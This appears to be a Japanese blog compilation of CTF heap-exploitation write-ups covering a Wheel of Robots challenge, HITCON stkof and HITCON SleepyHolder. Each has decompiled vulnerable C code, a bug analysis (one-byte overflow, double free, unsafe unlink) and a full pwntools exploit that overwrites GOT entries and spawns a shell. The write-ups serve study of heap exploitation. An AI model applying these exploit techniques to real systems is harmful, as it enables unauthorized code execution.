int robot_devil_flg;     // 0x603124
int billionaire_bot_flg; // 0x603128
int use_count;           // 0x603130
int intel;               // 0x603138
int cruelty;             // 0x603140
int powerful;            // 0x603148

int main(int argc, char** argv) {
  setvbuf(stdout, NULL, 2, 0);
  setvbuf(stdin, NULL, 2, 0);

  initialize();
  // show_title();

  while(1) {
    // show_menu();
    // 1. Add a robot on wheel
    // 2. Delete a robot on wheel
    // 3. Change a robot's name
    // 4. Start the Wheel Of Robots
    // show dialog
    memset(menu_num_buf, 0, sizeof(menu_num_buf));
    int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf));

    switch(menu_num) {
    case 1:
      add_robot();
      break;
    case 2:
      del_robot();
      break;
    case 3:
      change_name_robot();
      break;
    case 4:
      start_robot();
      break;
    default:
      break;
    }
  }

  return 0;
}

void initialize() {
  int random_fd = open("/dev/urandom", 0);
  long long num;

  read(random_fd, &num, 8);
  close(random_fd);

  srand(num);
  setvbuf(stdout, NULL, 2, 0);
  signal(0xe, gotohell);
  // alarm(0x3c); // temporary off

  return;
}

void gotohell(int id) {
  puts("Go to Hell!!!\n");
  exit(1);
}

int read_menu_num(char* buf, int len) {
  char* lbuf = buf;
  int llen = len;

  int read_num = read(0, lbuf, llen);

  if(read_num > 0) {
    return atoi(lbuf);
  } else {
    puts("Error\n");
    exit(-1);
  }
}

void add_robot() {
  // puts, which add
  // choice
  char buf[8];

  memset(menu_num_buf, 0, sizeof(menu_num_buf));
  int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf) + 1); // why more one byte?

  if(use_count > 2) {
    // puts, full
    return;
  }

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg == 0) {
      tinny_tim = calloc(1, 0x14);
      tinny_tim_flg = 1;
      strcpy(tinny_tim, "Tinny Tim");
      use_count++;
    }

    break;
  case 2:
    if(bender_flg == 0) {
      // puts, Increase bender intel
      memset(buf, 0, 5);
      int inc_intel = read_menu_num(buf, 5);

      if(inc_intel > 4) {
        // puts, impossible!
        inc_intel = 2;
      }

      bender = calloc(1, inc_intel * 10); // TODO: check
      intel = inc_intel;
      bender_flg = 1;
      strcpy(bender, "Bender");
      use_count++;
    }

    break;
  case 3:
    if(robot_devil_flg == 0) {
      // puts, inc cruelty
      memset(buf, 0, 5);
      int inc_num = read_menu_num(buf, 5);

      if(inc_num > 0x63) {
        // you are crazy
        inc_num = 0x14;
      }

      robot_devil = calloc(1, inc_num * 10);
      cruelty = inc_num;
      strcpy(robot_devil, "Robot Devil");
      robot_devil_flg = 1;
      use_count++;
    }

    break;
  case 4:
    if(chain_smoker_flg == 0) {
      chain_smoker = calloc(1, 0xfa0);
      strcpy(chain_smoker, "Chain Smoker");
      chain_smoker_flg = 1;
      use_count++;
    }

    break;
  case 5:
    if(billionaire_bot_flg == 0) {
      billionaire_bot = calloc(1, 0x9c40);
      strcpy(billionaire_bot, "Billionaire Bot");
      billionaire_bot_flg = 1;
      use_count++;
    }

    break;
  case 6:
    if(destructor_flg == 0) {
      // puts, inc powerful
      memset(buf, 0, 5);
      int inc_num = read_menu_num(buf, 5);
      destructor = calloc(1, inc_num * 10);
      powerful = inc_num;
      destructor_flg = 1;
      strcpy(destructor, "Destructor");
      use_count++;
    }

    break;
  default:
    break;
  }

  return;
}

void del_robot() {
  // puts, Which remove
  // choice
  memset(menu_num_buf, 0, sizeof(menu_num_buf));
  int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf));

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg != 0) {
      free(tinny_tim);
      tinny_tim_flg = 0;
      use_count--;
    }

    break;
  case 2:
    if(bender_flg != 0) {
      free(bender);
      bender_flg = 0;
      use_count--;
    }

    break;
  case 3:
    if(robot_devil_flg != 0) {
      free(robot_devil);
      robot_devil_flg = 0;
      use_count--;
    }

    break;
  case 4:
    if(chain_smoker_flg != 0) {
      free(chain_smoker);
      chain_smoker_flg = 0;
      use_count--;
    }

    break;
  case 5:
    if(billionaire_bot_flg != 0) {
      free(billionaire_bot);
      billionaire_bot_flg = 0;
      use_count--;
    }

    break;
  case 6:
    if(destructor_flg != 0) {
      free(destructor);
      destructor_flg = 0;
      use_count--;
    }

    break;
  default:
    break;
  }

  return;
}

void change_name_robot() {
  // puts, which
  // choice
  memset(menu_num_buf, 0, 4);
  int menu_num = read_menu_num(menu_num_buf, 4);

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg != 0) {
      // name
      read(0, tinny_tim, 0x14);
    }

    break;
  case 2:
    if(bender_flg != 0) {
      // name
      read(0, bender, intel * 10);
    }

    break;
  case 3:
    if(robot_devil_flg != 0) {
      // name
      read(0, robot_devil, cruelty * 10);
    }

    break;
  case 4:
    if(chain_smoker_flg != 0) {
      read(0, chain_smoker, 0xfa0);
    }

    break;
  case 5:
    if(billionaire_bot_flg != 0) {
      read(0, billionaire_bot, 0x9c40);
    }

    break;
  case 6:
    if(destructor_flg != 0) {
      read(0, destructor, powerful * 10);
    }

    break;
  default:
    break;
  }
}

void start_robot() {
  if(use_count <= 2) {
    // puts, fill!
    return;
  }

  // int rand_num = rand_func(6);?
  int rand_num;

  switch(rand_num) {
  case 1:
    if(bender_flg != 0) { // is this bug? tinny_tim_flg is correct but wrong flag is used. so can use after free
      show_buf(tinny_tim);
      break;
    }
  case 2:
    if(bender_flg != 0) {
      // are you kidding me?
      show_buf("are you kidding me"); // other function but same functionality
      break;
    }
  case 3:
    if(robot_devil_flg != 0) {
      show_buf(robot_devil);
      break;
    }
  case 4:
    if(chain_smoker_flg != 0) {
      show_buf(chain_smoker);
      break;
    }
  case 5:
    if(billionaire_bot_flg != 0) {
      show_buf(billionaire_bot);
      break;
    }
  case 6:
    if(destructor_flg != 0) {
      show_buf(destructor);
      break;
    }
  default:
    // welcome to hell!
    break;
  }

  exit(1);
}

void show_buf(char* buf) {
  printf("%s\n", buf);
}

まず、いくつかの場所でmenu_num_bufを1バイトオーバーフローしている。
このため、直下にあるbender_flgの下位1バイトを好きなように操作できる。
この変数はbenderに割り当てられた領域がfree済みかどうかをチェックするためのもので、これを改ざんできるとdouble freeができる。

また、freeされてもアドレスが残りっぱなしになっている点も脆弱性として利用できる。

解法

まず、double freeを利用して任意のアドレスをmallocで返せることを使って、powerfulの領域をmallocで返させる。
次にpowerfulを領域のサイズとして使うrobot 6(destructor)を適当なサイズで取得し、その後でpowerfulをより大きいに設定することで、ヒープオーバーフローができるようにする。
これでヒープ領域を書き換えてunsafe unlinkができるようになる。

unsafe unlinkができれば、グローバル変数の値を改ざんしてGOTを適当に書き換えてlibcベースをリーク、systemでシェルの起動につなげればいい。

exploitはWriteupのほぼ丸パクリ、動かなかった部分だけ修正した。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './wheel'
libc = '/lib/x86_64-linux-gnu/libc.so.6'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)
libc = ELF(libc)


def add_robot(robot, inc_num=0):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('choice :')
    io.sendline(str(robot))

    if robot == 2:
        io.recvuntil('intelligence:')
        io.sendline(str(inc_num))
    elif robot == 3:
        io.recvuntil('cruelty:')
        io.sendline(str(inc_num))
    elif robot == 6:
        io.recvuntil('powerful:')
        io.sendline(str(inc_num))


def del_robot(robot):
    io.recvuntil('choice :')
    io.sendline('2')
    io.recvuntil('choice :')
    io.sendline(str(robot))


def change_name(robot, name):
    io.recvuntil('choice :', timeout=0.1)
    io.sendline('3')
    io.recvuntil('choice :')
    io.sendline(str(robot))
    io.recvuntil('name:')
    io.send(name)


# メニューの数値選択でmenu_num_bufが1バイトだけオーバーフローできる
# bender_flgを好きな数値(8bit長)に書き換える
def overflow_tag(bit, data='9999'):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('choice :')
    assert (len(data) == 4)
    io.send(data + chr(bit))


if args.DELAY:
    import time
    time.sleep(3)

log.info('START')
log.info("Create fake fastbin @ Bender's intel(0x603138)")
intel_addr = 0x603138
add_robot(3, 0x20)  # Robot Devilのcrueltyに0x20を設定
del_robot(3)  # mallocできる数に限りがあるのでfreeしておく、mallocした領域や数値は0クリアされない

add_robot(2, 1)  # malloc Bender, intel=1
del_robot(2)  # free
overflow_tag(1)  # freeしたBenderのbender_flgを1に書き換える
change_name(2, p32(intel_addr))  # Benderの指している領域はfree済みなので、fdを書き換えることになる
overflow_tag(0)  # Benderをfreeされた扱いに
add_robot(2, 1)  # 次にintel_addrがチャンクとして返される

log.info("Return Destructor's powerful(0x603148)")
# intel_addrがチャンクとして返されるので、ユーザ領域としてprev_sizeとsize分下にあるpowerfulが返される
add_robot(1)

# 他の領域を確保するためにfree
del_robot(2)
del_robot(3)  # free済?

log.info('Unsafe Unlink')
add_robot(3, 7)  # RobotDevilでcalloc(70)
add_robot(4)  # Chain Smoker
del_robot(3)  # robot 4でのprev in useフラグを0にするため
add_robot(6, 1)  # destructor, powerful 1. ここで返されるのはheap領域の先頭に位置するチャンク

# heapのレイアウトは現在
# robot 6(0x20)
# robot 3(0xa0)
# robot 4(0xfb0)
# となっている

# powerfulを書き換えてヒープオーバーフロー
change_name(1, p32(0x1000))  # fdを書き換えてpowerfulを指すようになっている
destructor_addr = 0x6030e8
change_name(
    6,
    "a" * 0x8 +  # パディング
    p64(0xb1) +  # サイズのチェックが存在している、元のexploitから変更
    p64(destructor_addr - 0x18) + p64(destructor_addr - 0x10)
    +  # 偽のfdとbk、ターゲットはdestructor(0x6030e8)
    p64(0) + p64(0) + "b" * 0x80 +  # パディング?
    p64(0xb0)  # prev_size、0xa0からサイズを大きくして偽のチャンクを認識させる
)

log.info('unlink!')
del_robot(4)  # unsafe unlinkによるP->bk->fd = P->fdで、destructorに0x6030d0が格納される
# これにより、グローバル変数の値を任意に変更できるようになった
change_name(
    6, "A" * 40 + p64(0x6030e8))  # robot 1(tinny tim)の値を0x6030e8(destructor)に


# この時点でrobot 1への書き込みはdestructor(0x6030e8)への書き込みになる
# robot 1へ書き込んだアドレスはrobot 6(destructor)にセットされる
# robot 6への書き込みはセットしたアドレスへの書き込みになる
# つまり、[addr] = data
def write(addr, data):
    change_name(1, p64(addr))
    change_name(6, data)


log.info('overwrite exit@GOT = ret')
# menu 4の最後がretではなくexitになっているため、retにして繰り返し実行できるようにする
rop_ret = 0x4015bc  # ret;
write(elf.got['exit'], p64(rop_ret))

write(0x603130, p64(3))  # use_count(0x603130) = 3

log.info('Leak free@GOT')
# free@GOTを表示してlibcベースをリーク
change_name(1, p64(elf.got['free']))
while True:
    io.recvuntil('choice :')
    io.sendline('4')  # 乱数でrobotのバッファを表示する
    buf = io.recvuntil('!! Thx ', timeout=0.1)
    if '!! Thx' in buf:
        break
    else:
        log.info("Retry!")

libc_base = u64(io.recv()[:6] + '\0\0') - libc.symbols['free']
log.info('libc base: 0x{:x}'.format(libc_base))

log.info('free = system')
write(elf.got['free'], p64(libc_base + libc.symbols['system']))

write(0x603114, "sh\0")  # 適当なアドレスに"sh"を書き込む
del_robot(6)  # この時点でrobot 6に格納されているアドレスには"sh"を指すポインタが格納されている
# free = systemなので、system("sh")となる

io.interactive()

細かいことはexploit中のコメントに書いた。

まとめ

double freeからunsafe unlinkに繋げられなかった、というかこのdouble freeは成立しないと思ってた。 サイズのチェックか何かあった気がしたけどそんなことはなかった、何事も試してみるのが大事だね。

Heap exploitation HITCON CTF 2014: stkof

Heap exploitation HITCON CTF 2014: stkof

Heap exploitationのお勉強、初めてWriteup途中で見ずに解けて嬉しい。
問題はここ
参考にしたのはshellphishのhow2heap。

解く上でlibcが必要になるが、Hintととして動作環境が出されているし脆弱性を突けば任意のGOT領域の関数アドレスを表示できるので、該当するlibcのバージョンを特定して入手するのは容易のはず。
なので今回はそれを省いてローカルのlibcをいきなり使っている。

問題

stkofというバイナリだけが降ってくる。
fileとchecksecの出力は以下。

stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

普通の64bitバイナリといった感じになっている。

解析

直接動作させてみると、何も出力されず何をしていいか分からなかった。
リバーシングしてみたところ、ほとんど何も出力しないが入力は受け付けるようになっていた。
ちゃんと解析しないことには動作させることもままならなかったので、手動デコンパイルした。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define ARR_SIZ 0x100000

int read_input();
int alloc_new_chunk();
int del_chunk();
int check_len();

int main(int argc, char** argv){
  // alarm(120); // time limit. temporary disabled
  char buf[0x68];
  int ret_val;
  
  while(1) {
    if(fgets(buf, 0xa, stdin) == 0)
      break;

    switch(atoi(buf)) {
    case 1:
      ret_val = alloc_new_chunk();
      break;
    case 2:
      ret_val = read_input();
      break;
    case 3:
      ret_val = del_chunk();
      break;
    case 4:
      ret_val = check_len();
      break;
    default:
      ret_val = -1;
      break;
    }

    if(ret_val == 0) {
      puts("OK\n");
    } else {
      puts("FAIL\n");
    }

    fflush(stdout);
  }
  
  return 0;
}

int top = 0;
char* str_arr[ARR_SIZ+1]; // pointer array

int alloc_new_chunk() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);
  long long input_num = atoll(buf);
  char* chunk = malloc(input_num);
  
  if(chunk == 0)
    return -1;

  top++;
  str_arr[top] = chunk;
  
  printf("%d\n", top);
  
  return 0;
}

// read input-length
// read input to input-length
int read_input() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);

  long input_num = atoi(buf);
  if(input_num > 0x100000)
    return -1;

  if(str_arr[input_num] == 0)
    return -1;
  
  fgets(buf, 0x10, stdin);
  long long read_len = atoll(buf);
  char* char_ptr = str_arr[input_num];

  int len;
  while((len = fread(char_ptr, 1, read_len, stdin)) > 0) {
    char_ptr += len;
    read_len -= len;
  }

  if(read_len != 0) 
    return -1;

  return 0;
}

int del_chunk() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);
  long input_num = atol(buf);

  if(input_num > ARR_SIZ)
    return -1;

  if(str_arr[input_num] == 0)
    return -1;

  free(str_arr[input_num]);
  str_arr[input_num] = 0;

  return 0;
}

int check_len() {
  char buf[0x68];
  fgets(buf, 0x10, stdin);
  long input_num = atol(buf);

  if(input_num > ARR_SIZ)
    return -1;

  if(str_arr[input_num] == 0)
    return -1;

  if(strlen(str_arr[input_num]) > 3) {
    puts("...\n");
  } else {
    puts("//TODO\n");
  }

  return 0;
}

1から4までの数字を受け付けて、malloc、キー入力、free、長さのチェックができることが分かる。
キー入力で長さのチェックがないため、ヒープでのバッファオーバーフローが存在していることが分かる。
また、mallocしたチャンクはグローバル領域の配列で管理されていて、ASLRでもアドレスがランダム化されない。
freeするとアドレスは0クリアされるので、double-freeはできない。

解法

ここではunsafe unlinkという手法を使う。
mallocしたチャンクを書き換えてfree済みであると誤認させ、unlinkという機能を使わせることによって、あるメモリ領域を書き換えることができるという手法である。
手法自体はhow2heapとかkatagaitaiのスライドとかに解説がある。

unsafe unlinkで、unlinkするチャンクのアドレスが格納されている場所を、その場所から0x18上ぐらいの位置のアドレスに書き換えることができる。
配列にチャンクが格納されていることと併せて考えると、配列の中身を配列自身のアドレスに書き換えられることになる。
そうすると、配列に格納されたアドレスへの書き込みで配列中のアドレスを任意の値に設定できるので、任意のアドレスへの書き込みができることになる。

これを利用してfree@GOTをputs@PLTに書き換えたあと、配列中のアドレスをGOTに設定することで関数アドレスを表示させたり、smallbinを指すfdを表示させたりして、libcベースをリークさせる。
smallbinを指すfdを表示させる方法を使った。

これによりlibc内の任意の命令を好きなように呼び出せるようになったので、oneshot RCEを呼び出してシェルを起動すればいい。
呼び出しは、libcベースのリークと同じように適当なGOTの関数アドレスを書き換えてやればいい。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

context.update(arch='amd64')
exe = './stkof'
libc = '/lib/x86_64-linux-gnu/libc.so.6'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)


def malloc(length):
    io.clean()
    io.sendline('1')
    sleep(0.1)
    io.sendline(str(length))
    idx = int(io.recvline())
    io.recvuntil('OK')
    return idx


def read_input(idx, payload):
    io.clean()
    io.sendline('2')
    sleep(0.1)
    io.sendline(str(idx))
    sleep(0.1)
    io.sendline(str(len(payload)))
    sleep(0.1)
    io.send(payload)
    io.recvuntil('OK', timeout=0.1) # putsを途中で書き換えるためタイムアウトさせる。雑


def free(idx):
    io.sendline('3')
    sleep(0.1)
    io.sendline(str(idx))
    return io.recvuntil('OK')


def check_len(idx):
    io.clean()
    io.sendline('4')
    sleep(0.1)
    io.sendline(str(idx))
    log.info(io.recvline())
    io.recvuntil('OK')


# unsafe unlink
# fastbinだとunlinkされない
log.info('UNLINK')
malloc(0x80) # 1 システムのチャンクを避けるため
malloc(0x80) # 2
malloc(0x80) # 3 これをunlinkする、サイズを縮めるためやや大きく確保する
malloc(0x80) # 4

log.info('malloc 4 chunks.')
arr_ptr = 0x00602140 # チャンクが格納される配列の先頭アドレス
ptr_3 = arr_ptr + 8 * 3 # idx 3のチャンクのアドレス
chunk_siz = 0x90
log.info('unlink(0x{:x})'.format(ptr_3))
payload = 'A' * 0x80 # padding. userdata(0x20), 2はこれで埋める
# 3の領域に偽のヘッダを格納する、ユーザ領域をヘッダの最初にするためにチャンクを短くする必要がある
payload += 'B' * 0x18 #  prev_sizeとチャンクのサイズ、パディングが本来入る位置、サイズを縮めるのでその分埋める
payload += p64(chunk_siz - 0x10 + 1) # size, PREV_INUSEを1にする(2はunlinkしないので)。サイズを本来よりも0x10小さくする
payload += p64(ptr_3 - 0x18) # arr[3]->fd->bk == arr[3] を満すように
payload += p64(ptr_3 - 0x10) # arr[3]->bk->fd == arr[3] を満すように
payload += 'B' * (chunk_siz - 0x10 - 0x10 - 0x10) # userdata、余った領域を適当に埋める。0x10 = fd+bk, 0x10 = 縮めた分
payload += p64(0x80) # prev_size、こっちも本来より0x10縮める
# 4のサイズを上書きし、直前のチャンクがfree済みのように見せかける
payload += p64(0x90)
read_input(2, payload)

log.info('send payload for heap overflow.')

# 3がfree済みであるように書き換えたので、free(4)でその上の3がunlinkされるはず
free(4) # 全てうまくいけばunlinkできる
log.info('unlink!')

# この時点でidx 3の値はは配列の先頭アドレスになる

# libc leak
# free@GOTをputs@PLTにおきかえて、チャンクの中身を出力させてsmallbinのアドレスを出力させる
# fdが格納されているところまでオーバーフローさせればヌル終端されてないのでできるはず
idx1 = malloc(0x80) # オーバーフローさせるチャンク、fastbinでもいいかも
idx2 = malloc(0x80) # smallbinに繋ぐチャンク
idx3 = malloc(0x80) # 結合を防ぐ
free(idx2) # これでfdがsmallbinに繋がる

# freeをputsにする
log.info('free@GOT (0x{:x}) <= puts@PLT (0x{:x})'.format(elf.got['free'], elf.plt['puts']))
read_input(3, p64(elf.got['free'])) # arr[0] = free@GOT
read_input(0, p64(elf.plt['puts'])) # free@GOT = puts@PLT

# オーバーフローさせてヌル終端を消す
log.info('overflow')
payload = 'C' * 0x80
payload += 'D' * 0x8 # prev_size?
payload += 'E' * 0x8 # 次のチャンクのサイズ、オーバーフローが目的なので適当な値で埋めてしまう
read_input(idx1, payload)
ret = free(idx1) # freeがputsなのでfdが出力される
ret = ret[:-2].strip()
smallbin = u64(ret[-6:].ljust(8, '\0'))
smallbin_offset = 0x3c4b78
libc_base = smallbin - smallbin_offset
log.info('libc base: 0x{:x}'.format(libc_base))

# putsをoneshot rceにする
# puts@GOTのアドレスをoneshot rceのアドレスにしてシェルを起動する
log.info('Write Oneshot RCE to puts@GOT')
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # oneshot rce, libcによって違う
one_gadget = one_gadget[0] + libc_base

read_input(3, p64(elf.got['puts'])) # arr[0] = puts@GOT
read_input(0, p64(one_gadget)) # puts@GOT = oneshot_rce

io.interactive()

libc内のオフセットは環境によって違うので適宜読み替えて欲しい。

まとめ

初めてほぼ自力で解けたのでとても嬉しい。 直前の問題でもunsafe unlinkを使っていたのもあって、解法を簡単に思い付けた。 やっている最中にチャンクのサイズとかヒープのレイアウトとかも間違えていたりしたので、まだまだ練習が必要だと感じた。 もっと速く解くことを目標にする。

Heap exploitation HITCON CTF 2016: SleepyHolder

Heap exploitationのお勉強、HITCON2016 SleepyHolderを解いたのでそのメモ。

問題

問題自体はここから、参考にしたWriteupはここ

shellphishの方のリンクはヒントも載っている上にlibcがないので見ない方がいいかも。

SleepyHolderというプログラムとlibcが降ってくる。

解析

リバースしたソースコードはこんな感じ。

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

void keep();
void wipe();
void renew();

int main(int argc, char** argv){
  // setvbuf
  // put Waking holder
  int rand_fd = open("/dev/urandom", 0);
  int rand_num;
  read(rand_fd, &rand_num, sizeof(int)); // size 4
  rand_num &= 0xfff;

  malloc(rand_num);
  sleep(3);

  // puts, have secret?
  // puts, help

  while(1) {
    // 1 keep secret
    // 2 wipe secret
    // 3 renew secret

    int input_num;
    char buf[4];
    memset(buf, 0, sizeof(buf));
    read(0, buf, sizeof(buf));
    input_num = atoi(buf);

    switch(input_num) {
    case 1:
      keep();
      break;
    case 2:
      wipe();
      break;
    case 3:
      renew();
      break;
    default:
      break;
    }
  }

  return 0;
}

char* big_secret; // c0
char* huge_secret; // c8
char* small_secret; // d0
int big_flg; // d8
int huge_lock; // dc
int small_flg; // e0

void keep() {
  // 1. small secret
  // 2. big secret

  if(huge_lock == 0) {
    // 3. keep huge and lock
  }

  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    if(small_flg == 0) {
      small_secret = calloc(1, 0x28);
      small_flg = 1;

      // puts, tell secret
      read(0, small_secret, 0x28);
    }
    break;
  case 2:
    if(big_flg == 0) {
      big_secret = calloc(1, 0xfa0);
      big_flg = 1;

      // puts, tell secret
      read(0, big_secret, 0xfa0);
    }
    break;
  case 3:
    if(huge_lock == 0) {
      huge_secret = calloc(1, 0x61a80); // huge
      huge_lock = 1;
      // puts, tell secret
      read(0, huge_secret, 0x61a80);
    }
    break;
  default:
    break;
  }
}

void wipe() {
  // puts, which wipe
  // 1. small
  // 2. big
  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    free(small_secret);
    small_flg = 0;
    break;
  case 2:
    free(big_secret);
    big_flg = 0;
    break;
  default:
    break;
  }
}

void renew() {
  // puts, which renew?
  // 1. small: 0x28, fastbin?
  // 2. big: 0xfa0, largebin?
  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    if(small_flg != 0) {
      // puts, tell
      read(0, small_secret, 0x28);
    }
    break;
  case 2:
    if(big_flg != 0) {
      // puts, tell
      read(0, big_secret, 0xfa0);
    }
    break;
  default:
    break;
  }
}

freeするときにチェックがないことから、double freeができそうというのが分かる。
shellphishの方を見てると、巨大な領域を確保することから連続してfastbinをdouble freeすることも分かる。
それ以上は分からなかった。

ここでもうwriteupを見て、exploitを解析しながら解いた。
unsafe unlinkも同時に使うらしい。
unsafe unlinkはkatagaitai勉強会の第1回目のスライドを参考にした。

exploit

手順としては、まず巨大な領域のmallocを利用してdouble freeをしたあと、偽のチャンクヘッダを作成してからunlinkして、unsafe unlinkを成立させる。
unsafe unlinkによってグローバル領域にあるsmall_secretにはsmall_secret+0x18の値が格納される。
次に、small_secret+0x18に書き込みをしてグローバル変数を改ざんする。
big_secretにfree@GOTを格納することで、freeの呼び出しをputsの呼び出しにする。
これでputs@PLTを出力してlibcベースを特定し、そこからoneshot gadgetでsystemを起動できるアドレスを取得する。
次に、small_secretのアドレスをまた書き換えてputs@GOTにし、そこにoneshot gadgetを設定する。
これで次のputsの呼び出しでシェルが起動できる。

exploitはこんな感じ、ほとんどwriteupの方のコピーで動作のメモをしただけ。
タイミングの問題か、引数でDEBUGを指定しないとうまく動いてくれない。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './SleepyHolder'
libc = './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)
libc = ELF(libc)

io.recvuntil("Hey! Do you have any secret?")


def keep(size_idx, payload):
    io.sendlineafter('3. Renew secret\n', '1')
    io.sendline(str(size_idx))
    io.sendafter('Tell me your secret: ', payload)


def wipe(size_idx):
    io.sendlineafter('3. Renew secret\n', '2')
    io.sendlineafter('2. Big secret\n', str(size_idx))


def renew(size_idx, payload):
    io.sendlineafter('3. Renew secret\n', '3')
    io.sendline(str(size_idx))
    io.sendafter('Tell me your secret: ', payload)


def unlink(small_ptr):
    # small_secretに格納されているアドレスを、unsafe unlinkで自身の上位にある領域のアドレスにする

    keep(1, "AAAA")  # small_secret, fastbin
    keep(2, "AAAA")  # big_secret, large bin
    wipe(1)
    keep(3, "AAAA")  # 巨大な領域を確保すると、fastbinsに繋がれているチャンクがunsortedbinに移される
    wipe(1)  # unsortedbinに移ったため、fastbinでのチェックがなくなるためdouble-freeできる

    # 偽のfreeチャンクのヘッダを作る
    # 0はprev_size、0x21はサイズになる。1はPREV_INUSEのフラグで、unlinkさせないためにセット
    payload = p64(0) + p64(0x21)
    # 偽のfd、0x18はunlinkでのp->fd->bk == pのチェックを回避するため(bkは0x18分下の位置)
    payload += p64(small_ptr - 0x18)
    # 偽のbk、0x10はp->BK->FD == pのチェックを回避するため(fdは0x10分したの位置)
    payload += p64(small_ptr - 0x10)
    payload += p64(0x20)  # 偽のprev_size、チェックがあるので整合を保つ
    keep(1, payload)

    wipe(2)  # unsafe unlink
    # fastbinを格納しているアドレスが格納されているグローバル領域をunlinkで書き換えられた
    # 具体的には自身より-0x18の位置(bk)を指している
    # グローバル変数のレイアウト
    # char* big_secret; // c0
    # char* huge_secret; // c8
    # char* small_secret; // d0
    # int big_flg; // d8
    # int huge_lock; // dc
    # int small_flg; // e0
    # small_secretへの書き込みで、big_secretなどの値を書き換えられる


def leak(big_ptr):
    # small_secretが指す領域を書き換えて、グローバル変数が指す値を改ざんする
    payload = "A" * 8  # small_secret - 0x18への書き込み、何もないのでパディング
    payload += p64(elf.got['free'])  # big_secretへの書き込み、free@GOTを指すようにする
    payload += "A" * 8  # huge_secretはもう使わないので適当に埋める
    payload += p64(big_ptr)  # small_secretはbig_secretを指しっぱなしにする
    payload += p32(1)  # big_flagを1に、mallocで確保されていることにする
    # これで、GOTのfreeのアドレスを書き換えて好きな関数を呼び出せるようになる

    # unlinkでsmall_secretが書き換えられたので、renewではbig_secretへと書き込まれる
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@GOT -> puts@PLT
    renew(1, p64(elf.got['puts']))

    wipe(2)  # free@GOTにputs@PLTが書き込まれているので、putsが呼び出される
    # 引数はbig_secretなので、renew(2, )で書き込まれたputs@PLTが出力される
    # libc内の関数のアドレスが分かったので、オフセットからlibcベースが分かる
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a  # one_gadgetを使ってsystemを起動できるアドレスを探す

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

    return one_gadget


def pwn(one_gadget):
    payload = "A" * 0x10  # padding
    payload += p64(elf.got['puts'])  # small_secretにputs@GOTをセット
    renew(1, payload)

    renew(1, p64(one_gadget))  # putsでone_gadgetが呼び出せるように


small_ptr = 0x006020d0
big_ptr = 0x006020c0

log.info('Unsafe unlink')
unlink(small_ptr)
log.info('Leak libc')
one_gadget = leak(big_ptr)
log.info('PWN!')
pwn(one_gadget)
io.interactive()

学んだこと

unsafe unlink